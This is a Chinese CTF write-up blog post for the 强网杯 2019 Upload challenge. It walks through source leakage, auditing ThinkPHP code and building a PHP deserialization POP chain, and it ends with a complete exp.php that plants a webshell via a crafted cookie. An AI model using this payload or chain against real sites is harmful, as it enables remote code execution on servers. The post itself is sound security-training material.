[强网杯 2019]Upload

[强网杯 2019]Upload

考点:1、文件上传 2、php反序列化攻击

进到页面里,存在注册功能,所以就不尝试先不尝试sql注入,先注册一个账号登陆进去

进去之后有一个上传文件功能,尝试上传文件,经过简单测试发现没有对内容进行严格的过滤,可以传进去一句话木马,但是发现最后的文件名是给定的,所以没有办法上传任意格式的文件。

在测试过程中发生了报错,发现是ThinkPHP V5.1.35 LTS,一般这种题都会有源码泄露,就简单尝试了下www.zip、web.zip,无果后就拿字典跑了一下,跑出来www.tar.gz源码泄露

image-20211218155348298

然后直接查看源码application/web/controller/*.php,这里看了其他大佬的解法,因为存在.idea文件,所以使用PhpStrom打开源码文件,可以直接查看到断点hint

image-20211218212301037

hint代码如下:

Index.php

public function login_check(){
    $profile=cookie('user');
    if(!empty($profile)){
        $this->profile=unserialize(base64_decode($profile));
        $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
        if(array_diff($this->profile_db,$this->profile)==null){
            return 1;
        }else{
            return 0;
        }
    }
}

Register.php

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

通过断点hint,我们很容易发现这里应该是要利用反序列化攻击,我们尝试逆向溯源的方法来构造pop链,通过查找魔术方法,我们很容以就能找到Profile.php中的魔术方法

public function __get($name)
{
    return $this->except[$name];
}

public function __call($name, $arguments)
{
    if($this->{$name}){
        $this->{$this->{$name}}($arguments);
    }
}

通过Index.php断点hint我们可以知道,在登录的时候,会在Cookie里获取user字段并且进行base解码反序列化,然后因为这题考的是upload所以我们去审计以下上传文件的代码

public function upload_img(){
    if($this->checker){
        if(!$this->checker->login_check()){
            $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
            $this->redirect($curr_url,302);
            exit();
        }
    }

    if(!empty($_FILES)){
        $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
        $this->filename=md5($_FILES['upload_file']['name']).".png";
        $this->ext_check();
    }
    if($this->ext) {
        if(getimagesize($this->filename_tmp)) {
            @copy($this->filename_tmp, $this->filename);
            @unlink($this->filename_tmp);
            $this->img="../upload/$this->upload_menu/$this->filename";
            $this->update_img();
        }else{
            $this->error('Forbidden type!', url('../index'));
        }
    }else{
        $this->error('Unknow file type!', url('../index'));
    }
}

我们发现如果不进入第二个ifif(!empty($_FILES))的话,我们可以通过自定义参数进行再次对已经上传的文件进行复制操作,并且文件的名字我们可以自己定义。所以我们就可以写出以下的exp,具体实现原理请自行审计exp。

构造出的链子:

namespace app\web\controller
Register::__destruct => Profile::__call => Profile::__get => Profile::__call => Profile::upload_img

exp.php:

<?php
namespace app\web\controller;
class Register
{
    public $checker;
    public $registed;
    public function __construct()
    {
        $this->registed = false;
        $this->checker = new Profile();
    }
}

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $ext;
    public $except;
    public function __construct()
    {
        $this->except = ["index"=>"upload_img"];
        $this->filename_tmp = "./upload/0257760365ebfba938de33cd01f34156/f1af272d318a2aef209ce13f004a74f1.png";
        $this->filename = './upload/shell.php';
        $this->ext = "png";
        $this->checker = 0;
    }
}

$o = new Register();
echo base64_encode(serialize($o));

将生成的字符串传入Cookie中登录,直接访问/upload/shell.php就可以进行命令执行了,cat /flag获得flag

posted @ 2023-01-08 23:16  seizer-zyx  阅读(105)  评论(0编辑  收藏  举报